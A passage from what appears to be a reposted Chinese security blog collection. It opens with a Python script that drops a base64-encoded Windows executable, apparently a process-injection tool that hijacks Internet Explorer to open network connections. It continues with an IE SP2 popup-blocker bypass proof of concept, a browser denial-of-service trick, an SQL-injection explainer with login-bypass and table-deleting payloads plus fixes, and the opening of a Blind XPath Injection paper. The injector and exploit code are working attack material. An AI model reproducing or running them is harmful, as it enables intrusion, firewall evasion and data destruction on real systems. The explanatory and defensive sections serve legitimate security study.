VzcwAAggJWaXJ0dWFsQWxsb2NFeAAAhAJWaXJ0dWFsRnJlZUV4AI8CV2FpdEZvclNpbmds
ZU9iamVjdACnAldyaXRlUHJvY2Vzc01lbW9yeQAAa2VybmVsMzIuZGxsAACAAVJlZ0Nsb3
NlS2V5AJgBUmVnT3BlbktleUEAogFSZWdRdWVyeVZhbHVlQQAAYWR2YXBpMzIuZGxsAACd
AU1lc3NhZ2VCb3hBAFkCV2FpdEZvcklucHV0SWRsZQAAdXNlcjMyLmRsbAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASW5qZWN0aW9uIGZh
aWxlZC4ARmFpbHVyZQBodG1sZmlsZVxzaGVsbFxvcGVuXGNvbW1hbmQAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAEAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=""")

############################### tiny.py ###############################

from base64 import decodestring
open("injector.exe","wb").write(decodestring("""
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAC4XBZb/D14CPw9eAj8PXgIciJrCOI9eAgAHWoI/T
14CFJpY2j8PXgIAAAAAAAAAAAAAAAAAAAAAFBFAABMAQMAZ3NyQAAAAAAAAAAA4AAPAQsB
BQwADgAAAAYAAAAAAAAAEAAAABAAAAAgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAA
AAAEAAAAAEAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAbCAA
ADwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAABsAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAALnRleHQAAACIDAAAABAAAAAOAAAABAAAAAAAAAAAAAAAAAAAIAAAYC
5yZGF0YQAA6gIAAAAgAAAABAAAABIAAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAADsAAAAA
MAAAAAIAAAAWAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOhKCgAAagDo+AsAAFWL7IPE5I1F5FBoDTBA
AGoA6FoMAACD+AB0U8dF7AEAAADHRfgCAAAAi0XkiUXwi0XoiUX06MQLAACLyI1F/FBqIF
HoLgwAAItN/IP5AHQeagBqAGoAjUXsUGoAUegIDAAAi8j/dfzoegsAAIvBycNVi+yBxLj+
///Hhdj+//8oAQAAx4W8/v//HAAAAOhu////agBqBuhXCwAAiYW4/v//jYXY/v//UP+1uP
7//+hjCwAAg/gAD4TBAAAAjZX8/v//aAAwQABS6JcLAACD+AB0HY2F2P7//1D/tbj+///o
OAsAAIP4AA+EkAAAAOvNjYW8/v//UP+1uP7//+g/CwAAuwAAAACLlcj+//87leD+//90GY
2FvP7//1D/tbj+///oIAsAAIP4AHRS69mLVQiLheD+//+JQgiLhcT+//+JQgxS/7Xg/v//
agBo/w8fAOi1CgAAg/gAdCOL2P+1xP7//2oAaP8DHwDoogoAAIP4AHQKWokaiUIEagHrAm
oAg724/v//AHQL/7W4/v//6FMKAABYycIEAFWL7IPEsOk7BQAAR2V0TW9kdWxlSGFuZGxl
QQBMb2FkTGlicmFyeUEARnJlZUxpYnJhcnkAT3BlbkV2ZW50QQBDbG9zZUhhbmRsZQBTZX
RFdmVudABUSU5ZMABVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJvcgBXU0FH
ZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc29ja2V0AG
Nvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9yIFNldFVw
IGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQpIb3N0Oi
B3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCIAALAiAACYIgAA
AAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4hAAD+IQAAECIAAC
AiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAAAAuCAAAAAAAAAA
AAAAiiIAABAgAACoIAAAAAAAAAAAAADcIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyC
IAALAiAACYIgAAAAAAAHAhAACEIQAAkiEAAFwhAACgIQAAsiEAAMIhAADSIQAAIiEAAE4h
AAD+IQAAECIAACAiAAAwIgAAQiIAAFIiAABoIgAAfiIAADIhAADmIQAAFCEAAO4hAAAAAA
AAGgBDbG9zZUhhbmRsZQAtAENyZWF0ZUV2ZW50QQAASQBDcmVhdGVUb29saGVscDMyU25h
cHNob3QAAIAARXhpdFByb2Nlc3MA2wBHZXRDdXJyZW50UHJvY2VzcwBMAUdldFRocmVhZE
NvbnRleHQAANEBT3BlblByb2Nlc3MA1AFPcGVuVGhyZWFkAADeAVByb2Nlc3MzMkZpcnN0
AADgAVByb2Nlc3MzMk5leHQABwJSZXN1bWVUaHJlYWQAAE8CU2V0VGhyZWFkQ29udGV4dA
AAYAJTbGVlcABiAlN1c3BlbmRUaHJlYWQAaQJUZXJtaW5hdGVUaHJlYWQAagJUaHJlYWQz
MkZpcnN0AGsCVGhyZWFkMzJOZXh0AACCAlZpcnR1YWxBbGxvY0V4AACEAlZpcnR1YWxGcm
VlRXgAjwJXYWl0Rm9yU2luZ2xlT2JqZWN0AKcCV3JpdGVQcm9jZXNzTWVtb3J5AAC5Amxz
dHJjbXBpQQBrZXJuZWwzMi5kbGwAABkAQWRqdXN0VG9rZW5Qcml2aWxlZ2VzABQBTG9va3
VwUHJpdmlsZWdlVmFsdWVBAGMBT3BlblByb2Nlc3NUb2tlbgAAYWR2YXBpMzIuZGxsAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAElFWFBMT1JFLkVYRQBTZURlYnVnUHJpdmlsZWdlAFRJTlkwAAAA
AABgnGgAAAAA6AcAAACdYekAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA""")


[转载]Windows XP SP2广告弹出控制插件绕过漏洞已经测试方法

信息来源：securiteam.com

Added by: A^C^E
Date: 14.12.04
Time: 10:27:05
Category: Exploits
Source: http://www.securiteam.com/windowsntfocus/6Y00D0UC0K.html

Summary
Internet Explorer for XP updated with SP2 enjoys a fairly robust popup blocking mechanism. In fact, older vulnerabilities exploited by many sites are no longer possible with the introduction of SP2 and the new popup blocker.

A way to circumvent the popup blocker has been found and it is easily exploitable as can be seen by the proof of concept supplied with this advisory.

Details
Vulnerable Systems:
* Internet Explorer on Windows XP SP2

The vulnerability can be exploited in order to popup a dialog through the "DHTML Edit Control" with a customized script. Such a script is listed below as a proof of concept:

< body onload="setTimeout(' main() ',1000)">
< object
id="x"
classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"
width="1"
height="1"
align="middle"
>
< PARAM NAME="ActivateApplets" VALUE="1">
< PARAM NAME="ActivateActiveXControls" VALUE="1">
</object>

< SCRIPT>

// 10.11.04 http://www.editive.com

function shellscript()
{
open(" http://www.malware.com/flywin.html ","_blank","scrollbar=no");
showModalDialog(" http://www.malware.com/flywin.html ");
}

function main()
{
x.DOM.Script.execScript(shellscript.toString());
x.DOM.Script.setTimeout("shellscript()");
}
</SCRIPT>
<br><br><br><br><br><br><center><img src=nocigar.gif><br><br><FONT FACE=ARIAL SIZE 12PT>NO CIGAR !</FONT></center>

Additional information
The information has been provided by http-equiv.


[转载]IE sp2 and Mozilla Firefox DoS

信息来源：seclists

There is an issue with these browser rendering html's
with long titles.
Only Tested on:
--------------
Internet Explorer(SP2): 6.0.2900.2180
Mozilla firefox: 1.0

Not affected:
-------------
Mozilla Browser

Have a look at,
___________________
<html>
<head> <title> ....(put)3.5 MB OF data.......

</html>
___________________

For IE beyond 1 Mb will just do fine. On execution,
Mozilla Firefox starts filling up all the available
system memory with 100% CPU use.

Internet explorer renders 100% CPU use, but no system
instability. (O;
I've tested it on Windows XP SP2.

Both Firefox & IE supports decompression method 'gzip'
ie. an extended request header named
HTTP_ACCEPT_ENCODING like
HTTP_ACCEPT_ENCODING=gzip,deflate

By this way, the file can be kept around few kilobytes
in the server and delivered easily. I wonder, why
such... simple issue went un-noticed to everyone for
years...
Bipin Gautam
 http://www.geocities.com/visitbipin/
http://www.nepsecure.tk


[转载]What is SQL Injection

信息来源：EST

本文是国外资源sql注入攻击内容，我想说，还是国外技术领先一些呀。(技术资料是老了些。呵。)
What is SQL Injection?
If you are designing a Web site, or already have an existing Web site, you may be worried about potential "attacks" from rogue users. Too often, Web site developers focus solely on the security issues of the chosen operating system and Web server the site will run on. While IIS security holes can allow for malicious attackers, IIS security is not the only item that should be on your security checklist. The code that is commonly written for data-driven Web sites is often as serious a hole as any IIS hole. Such a programming code hole that can be exploited has been dubbed the SQL injection attack.

- continued -
SQL Injection is a technique which enables an attacker to execute unauthorized SQL commands by taking advantage of unsanitized input opportunities in Web applications building dynamic SQL queries. A common example of this is as follows:

A form is used to collect a visitor's username and password for access to a secured section, and submits to an ASP processing script. The processing script builds a SQL query from the input to determine if the username/password combo is valid.

In such a scenario, one might construct two pages, a login HTML page and an ASP page (ExecLogin.asp) that does the actual validation (i.e., lookup of the visitor's username/password in a database). The code for these pages might be:

Login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="txtUsername"><br>
Password: <input type="password" name="txtPassword"><br>
<input type="submit">
</form>

ExecLogin.asp
<%
Dim p_strUsername, p_strPassword, objRS, strSQL

p_strUsername = Request.Form("txtUsername")
p_strPassword = Request.Form("txtPassword")

strSQL = "select * FROM tblUsers " & _
"where Username='" & p_strUsername & _
"' and Password='" & p_strPassword & "'"

Set objRS = Server.createObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("Username")
End If

Set objRS = Nothing
%>

At first glance, the code in ExecLogin.asp does not appear to contain any security holes. The user cannot log in without a valid username/password combination. However, this code is not safe, and is primed for a SQL injection attack. Specifically, the vulnerability is contained in the fact that user input is used to directly build the SQL statement, in effect enabling an attacker to control the statement executed.

An example of the vulnerability would be if the following string was entered into the username/password fields: ' or ''='. The SQL statement would then be executed as:

select * FROM tblUsers where Username='' or ''='' and Password = '' or ''=''

This query will return all records from tblUsers, and the script will proceed to log the user in as the first user identified by the first record in the table.

Another variation of the SQL injection attack exists when receiving querystring parameters to generate dynamic pages. Below is an example of an ASP page that accepts an ID through the querystring, and dynamically generates the page's content based on the ID:

<%
Dim p_lngID, objRS, strSQL
p_lngID = Request("ID")

strSQL = "select * FROM tblArticles where ID=" & p_lngID

Set objRS = Server.createObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

If (Not objRS.EOF) Then Response.Write objRS("ArticleContent")

Set objRS = Nothing
%>

Under normal circumstances, this script would display the content of the article whose ID was passed as a querystring parameter. For example, the page might be called as: http://www.example.com/Article.asp?ID=1055 , thereby showing the dynamic content for article 1055.

like our login example, this code opens itself to a SQL injection attack. A malicious user could substitute the valid Article ID for an unauthorized SQL command by passing into the ID something like: 0 or 1=1 (i.e., http://www.example.com/Article.asp?ID=0 or 1=1).

The SQL query would return all articles from the table for it would be executed as:

select * FROM tblArticles where ID=0 or 1=1

Of course, this example may not appear to be highly dangerous, but the attacker would then be able to manipulate the application even further by inserting malicious commands, such as delete statements. All of this could be done by simply manipulating the querystring! For example, anyone could call the page using a querystring like: http://www.example.com/Article.asp?ID=1055; delete FROM tblArticles.

The Implications of SQL Injection
The full implications of this vulnerability vary greatly based on environment and configuration. If the database connection uses the security context of dbo, it is possible to drop all tables in the database, create new tables, etc. If the database connection uses the security context of sa, it is possible to control the entire SQL Server, and under the right configuration even create user accounts to take control of the Windows server hosting the database.

Protecting Applications from SQL Injection
The first thing to do is to protect SQL queries by implementing sanitization techniques for all input received from any ASP request object (Request, Request.QueryString, Request.Form, Request.Cookies, and Request.ServerVariables). Your sanitization routines will vary based on your DBMS, but examples for MS SQL Server are given below.

In the login page example, the script was expecting two variables (txtUserName, txtPassword) of type string to be passed. When a single quote is inserted in a parameter, it allows the user to manipulate the command being executed. To combat the threat of SQL injection, escape the single quotes using the Replace function, like so:

p_strUsername = Replace(Request.Form("txtUsername"), "'", "''")
p_strPassword = Replace(Request.Form("txtPassword"), "'", "''")

In the second example, the script was expecting a variable (ID) of type long integer to be passed. Unauthorized SQL commands can be executed by appending SQL to the ID parameter. To combat this type of SQL injection, simply restrict the input to a long integer using CLng, like so:

p_lngID = CLng(Request("ID"))

If the user tries to pass in a string, the CLng function will generate an error.

To further reduce the risk of SQL injection, be sure to remove any technical information from client-delivered error messages. Error messages often reveal technical details that can enable an attacker to reveal vulnerable entry points. This includes any custom messages your application generates as well as IIS-generated errors. You can implement this by disabling detailed error messages in IIS and by creating non-technical custom error pages. (For more information on creating custom error pages in IIS be sure to read: Creating Custom ASP Error Pages.)

Finally, to limit the scope of a SQL injection attack, limit the permissions granted to the database user account the Web application is using. The application generally doesn't need dbo or sa permissions. The less permission granted to your database the better! Consider using a separate account for each component with data access capabilities to isolate vulnerabilities. For instance, a front-end public interface to your Web site needs more restricted DB access than an internal content management system.

More Information
There are many great resources on this topic available on the Internet. Below is a list of a few I found to be helpful.


[转载]Blind XPath Injection

文章作者：Amit Klein, Director of Security and Research

Abstract
This paper describes a Blind XPath Injection attack that enables an attacker to extract
a complete XML document used for XPath querying - without prior knowledge of the
XPath query. The attack is “complete” since all possible data is exposed. The attack
makes use of two techniques – XPath crawling, and Booleanization of XPath queries.
Using this attack, it is possible to get hold of the XML “database” used in the XPath
query. This can be most powerful against sites that use XPath queries (and XML
“databases”) for authentication, searching, and other uses.
Compared to the SQL injection attacks, XPath Injection has the following upsides:
· Since XPath is a standard (yet rich) language, it is possible to carry the attack
‘as-is’ for any XPath implementation. This is in contrast to SQL injection
where different implementations have different SQL dialects (there is a
common SQL language, but it is often too weak).
· The XPath language can reference practically all parts of the XML document
without access control restrictions, whereas with SQL, a "user" (which is a
term undefined in the XPath/XML context) may be restricted to certain tables,
columns or queries. So the outcome of the Blind XPath Injection attack is
guaranteed to consist of the complete XML document, i.e. the complete
database.
These results enable an automated attack to fit any XPath based application provided
that it possesses the basic security hole. Indeed, such pr oof of concept script was
written and demonstrated on various XPath implementations.
About XPath
XPath 1.0 [1] is a language used to refer to parts of an XML [6] document. It can be
used directly to query an XML document by an application, or as part of a larger
operation such as applying an XSLT [2] transformation to an XML document, or
applying an XQuery [3] to an XML document.
The syntax of XPath bears some resemblance to an SQL query, and indeed, it is
possible to form SQL-like queries on an XML docum ent using XPath. For example,
assume an XML document that contains elements by the name "user", each of which
contains 3 sub elements - "name", "password" and "account". The following XPath
ó2004 Sanctum Inc. www.SanctumInc.com 2
expression yields the account number of the user whose name is "jsmith" and whose
password is "Demo1234" (or an empty string if no such user exists):
string(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
Security Implications
XPath is used, among other things, to query XML databases in a style similar to the
example above. An XML document serves as the database, and the XPath query is
analogous to an SQL query. There are benefits to using an XML database, for
example portability, compatibility, re-use of the document, neatness of the document
and the query results, and having a structure for the document and the query results.
Various products offer native XML databases with built-in XPath query facility [9].
Among these products are Software AG’s Tamino, Apache Software Foundation
XIndice, Sleepycat Software Berkeley DbXML, dbXML Group dbXML, An
application that uses such a product may be vulnerable to Blind XPath Injection
depending on how the XPath query is formulated by the application. In other contexts,
XPath can be used directly (i.e. not using a database software), and is natively
supported – e.g. in Microsoft’s .NET framework and in Macromedia's
ColdFusion/MX.
XPath queries are used for search requests, for login processing, for data retrieval, and
in short, for flexible, lightweight database tasks.
An attacker, upon spotting an XPath Injection vulnerability in an XPath based
application does not need to fully understand/guess the XPath query. Usually, within a
few attempts, the attacker can generate a “template” query data that can be used for
Blind XPath Injection. As of that moment, an automated script (which is
implemented, but not provided in this paper) can be used to extract the complete
XML document that is the underlying database.
It should be stressed that the attacker does not need to know the exact structure of the
XPath query, and moreover, since an XML document has no access control/privilege
system associated with it, the attacker is able to extract the document (database) in its
completeness -unlike in SQL injection, where the attacker is limited to the privileges
of the database account used by the application.
Simple XPath Injection
Consider a Web application that uses XPath to query an XML document and retrieve
the account number of a user whose name and password are received from the client.
Such application may embed these values directly in the XPath query, thereby
creating a security hole.
ó2004 Sanctum Inc. www.SanctumInc.com 3
Here's an example (assuming Microsoft ASP.NET and C#):
...
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");
...
